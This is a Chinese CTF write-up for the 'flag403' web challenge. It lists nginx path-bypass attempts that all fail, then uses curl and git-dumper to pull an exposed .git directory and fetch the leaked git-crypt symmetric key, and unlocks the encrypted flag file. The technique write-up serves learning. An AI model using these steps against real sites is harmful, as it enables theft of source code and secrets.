freopen's Blog

flag403 题解

考点

  • .git 目录泄露
  • git-crypt 对称密钥泄露

0. 思路

页面给出的 nginx 配置对 /flag.txt 设置了 location = 精确匹配和 deny all,因此无法通过常见的 URL 变形绕过。但目标暴露了完整的 .git 目录,其中既有 git-crypt 加密的 flag.txt,也保留了 git-crypt 对称密钥文件,所以可以直接解密得到 flag。

1. nginx 403

页面配置如下:

location / {
    root /var/www/html;
    location = /flag.txt {
        deny all;
    }
}

尝试常见的绕过方式:

请求结果说明
/flag.txt403deny 拒绝
//flag.txt///flag.txt403连续斜杠被合并
/./flag.txt/a/../flag.txt403... 会被归一化
/fla%67.txt/flag%2etxt403location 匹配前已完成百分号解码
/flag.txt%2f%2f..%2fflag.txt307 → 403解码出 / 后被重定向到规范 URI
/Flag.txt404Linux 文件系统大小写敏感

2. 发现 .git 泄露

先检查常见路径:

$ curl -i http://sbus-065-flag403.zjusec.net/.git/HEAD
HTTP/1.1 200 OK
ref: refs/heads/master

确认 .git 目录泄露后,使用 git-dumper 还原仓库:

$ git-dumper http://sbus-065-flag403.zjusec.net/.git repo/

[-] Finding refs/
[-] Finding objects
[-] Fetching http://sbus-065-flag403.zjusec.net/.git/objects/79/973e2c... [200]
[-] Fetching http://sbus-065-flag403.zjusec.net/.git/objects/2d/1681fb... [200]
[-] Running git checkout .

checkout 时在 flag.txt 处失败:

 git checkout .
git-crypt: Error: Unable to open key file - have you unlocked/initialized this repository yet?
error: external filter '"git-crypt" smudge' failed 1
error: external filter '"git-crypt" smudge' failed
fatal: flag.txt: smudge filter git-crypt failed

说明仓库使用了 git-crypt 加密 解密失败,checkout 被中止,工作区处于脏状态,需要先处理

3. git-crypt 密钥泄露

git-crypt 支持对称加密和 GPG 两种模式。

对称模式下,密钥存放在仓库内的 .git/git-crypt/keys/default,这个路径不在 git-dumper 的默认抓取清单中,需要手动获取:

$ curl -o key http://sbus-065-flag403.zjusec.net/.git/git-crypt/keys/default
$ wc -c key
148 key

文件头为 \x00GITCRYPT\x00

4. 解密

4.1 先处理脏工作区

由于 git-dumper 的 checkout 因 smudge filter 失败而中止,工作区不完整,git-crypt unlock 会拒绝执行。

临时将 filter 指向 cat,让 Git 按 index 中的原样内容(密文)补齐文件:

$ git config filter.git-crypt.smudge cat  # smudge 解密
$ git config filter.git-crypt.clean cat   # clean 加密
$ git restore .                           # 恢复工作区和暂存区
$ git status --short                      # 无输出表示工作区干净

4.2 解锁并解密

$ git-crypt unlock ../key

.git/git-crypt/keys/default 是 git-crypt 在初始化仓库(git-crypt init)并启用对称加密时生成的内部密钥文件。获取该文件后,即可使用 git-crypt unlock 解锁仓库并还原 flag.txt